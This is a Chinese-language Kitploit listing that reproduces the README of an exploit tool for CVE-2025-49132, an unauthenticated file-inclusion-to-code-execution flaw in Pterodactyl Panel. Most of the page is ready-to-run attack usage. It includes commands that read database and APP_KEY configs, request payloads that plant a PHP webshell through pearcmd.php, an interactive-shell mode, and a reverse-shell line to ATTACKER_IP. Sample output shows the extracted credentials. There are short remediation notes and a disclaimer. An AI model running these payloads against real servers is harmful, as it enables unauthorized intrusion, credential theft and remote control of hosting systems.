Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-49132 — 面向 Pterodactyl 的 CVE(仅供学习与研究) | Kitploit
工具/GitHubGitHub/popyue/cve-2025-49132
漏洞分析代码分析漏洞利用Web应用程序漏洞利用信息收集渗透测试学习与教育
GitHubpopyue/cve-2025-49132

CVE-2025-49132

面向 Pterodactyl 的 CVE(仅供学习与研究)

查看仓库
46个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-49132 - Pterodactyl控制面板漏洞利用工具

⚠️ 免责声明: 本仓库仅用于教育和研究目的,是我安全研究的一部分,旨在理解和记录 CVE-2025-49132。漏洞发现的所有功劳归原作者。

root@kitploit:~
  ___ __   __ ___      ___   ___  ___  ___        _  _   ___  _  ____  ___ 
 / __|\ \ / /| __|___ |_  ) / _ \|_  )| __|___   | || | / _ \| ||__ / |_  )
| (__  \ V / | _|___|  / / | (_) |/ / |__ \___|  |_  _| \_, /| ||_ \  / / 
 \___|  \_/  |___|    /___| \___//___||___/        |_|   /_/ |_|___/ /___|

        Pterodactyl控制面板 - 未经认证的LFI到RCE漏洞利用

📋 描述

CVE-2025-49132 是 Pterodactyl控制面板中的一个未经认证的本地文件包含(LFI)漏洞,可通过 PHP 的 pearcmd.php 升级为远程代码执行(RCE)。

该漏洞存在于 /locales/locale.json 端点,该端点未能正确清理 locale 和 namespace 参数,允许攻击者读取任意 PHP 配置文件并实现代码执行。

🎯 受影响版本

状态版本
❌ 受影响<= 1.11.10
✅ 已修复>= 1.11.11

⚡ 功能特性

  • LFI 模式: 读取 PHP 配置文件(数据库凭据、APP_KEY 等)
  • RCE 模式: 通过 pearcmd.php 的 LFI2RCE 技术实现远程代码执行
  • 交互式 Shell: 用于多次执行命令的持久化 Shell
  • 单条命令: 一次性的命令执行
  • 美化输出: 带颜色编码、格式化的输出,提高可读性

📦 安装

root@kitploit:~
# 克隆仓库
git clone https://github.com/YOUR_USERNAME/CVE-2025-49132.git
cd CVE-2025-49132

# 安装依赖
pip install requests

环境要求

  • Python 3.6+
  • requests 库
  • curl(用于 RCE 模式)

🚀 使用方法

LFI - 读取配置文件

root@kitploit:~
# 读取数据库配置
python exploit.py -u http://target.com --read -p ../../config -f database

# 读取应用程序配置(包含 APP_KEY)
python exploit.py -u http://target.com --read -p ../../config -f app

# 读取其他配置
python exploit.py -u http://target.com --read -p ../../config -f auth
python exploit.py -u http://target.com --read -p ../../config -f session
python exploit.py -u http://target.com --read -p ../../config -f mail

RCE - 远程代码执行

root@kitploit:~
# 单条命令执行
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "id"
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "whoami"

# 交互式 Shell 模式
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR

# 反向 Shell
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

常见 PEAR 路径

发行版路径
Debian/Ubuntu../../../../../../usr/share/php
SUSE/OpenSUSE../../../../../../usr/share/php/PEAR

📖 参数

🔬 工作原理

LFI(本地文件包含)

受攻击的端点 /locales/locale.json 接受 locale 和 namespace 参数:

root@kitploit:~
GET /locales/locale.json?locale=../../config&namespace=database

这允许读取任何返回数组的 PHP 文件,包括 Laravel 配置文件。

RCE(远程代码执行)

该漏洞利用将 LFI 与 pearcmd.php 相结合以实现 RCE:

  1. 阶段 1:使用 pearcmd.php 的 config-create 命令写入一个 PHP webshell

    root@kitploit:~
    /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system(...)?>+/tmp/shell.php
    
  2. 阶段 2:通过 LFI 包含已写入的 Shell

    root@kitploit:~
    /locales/locale.json?locale=../../../../../../tmp&namespace=shell&c=<hex_encoded_cmd>
    

📸 截图

LFI - 读取数据库配置

root@kitploit:~
════════════════════════════════════════════════════════════
  DATABASE CONFIGURATION
════════════════════════════════════════════════════════════

  default: mysql
  connections:
    mysql:
      driver: mysql
      host: 127.0.0.1
      port: 3306
      database: panel
      username: pterodactyl
      password: SecretPassword123

────────────────────────────────────────────────────────────
[+] Configuration extracted successfully!

RCE - 命令执行

root@kitploit:~
[*] Target: http://panel.example.com
[*] Executing command: id
[*] Writing payload to: /tmp/cmd_abc123.php
[+] Output:
----------------------------------------
uid=474(wwwrun) gid=477(www) groups=477(www)
----------------------------------------

🛡️ 修复建议

  1. 更新 Pterodactyl控制面板至版本 1.11.11 或更高
  2. 对 locale 和 namespace 参数实施适当的输入验证
  3. 使用有效的 locale/namespace 值白名单
  4. 限制 PHP 的 register_argc_argv 指令

⚠️ 免责声明

本工具仅用于教育和授权的安全测试目的。

  • 仅在你拥有或已获得明确书面许可的系统上使用此工具
  • 未经授权访问计算机系统是非法的
  • 作者不对因使用本工具造成的任何滥用或损害负责

请负责任且合乎道德地使用。

📚 参考

  • Pterodactyl控制面板官网
  • Pterodactyl控制面板 Github
  • CVE-2025-49132 详情
  • CVE-2025-49132: Pterodactyl控制面板允许未经认证的任意远程代码执行
  • PEAR LFI 到 RCE 技术
  • PHP 过滤器链生成器
  • 本地文件包含到远程代码执行(RCE)

📝 更新日志

  • v1.0.0 - 初始发布
    • LFI 配置读取
    • 通过 pearcmd 实现 RCE
    • 交互式 Shell 模式
    • 格式美化输出

⭐ 如果你觉得有用,请为本仓库点星!

下载工具
CentOS/RHEL../../../../../../usr/share/pear
Alpine../../../../../../usr/share/php8
参数描述
-u, --url目标 URL(必填)
-p, --pathLFI 的路径遍历或 RCE 的 PEAR 路径
-f, --file要读取的 PHP 文件(不含 .php 扩展名)
--read启用 LFI 读取模式
--rce启用 RCE 模式
--cmd要执行的命令(单次执行模式)
--sdir写入 Shell 的目录(默认:/tmp)
--snameShell 的文件名(默认:shell)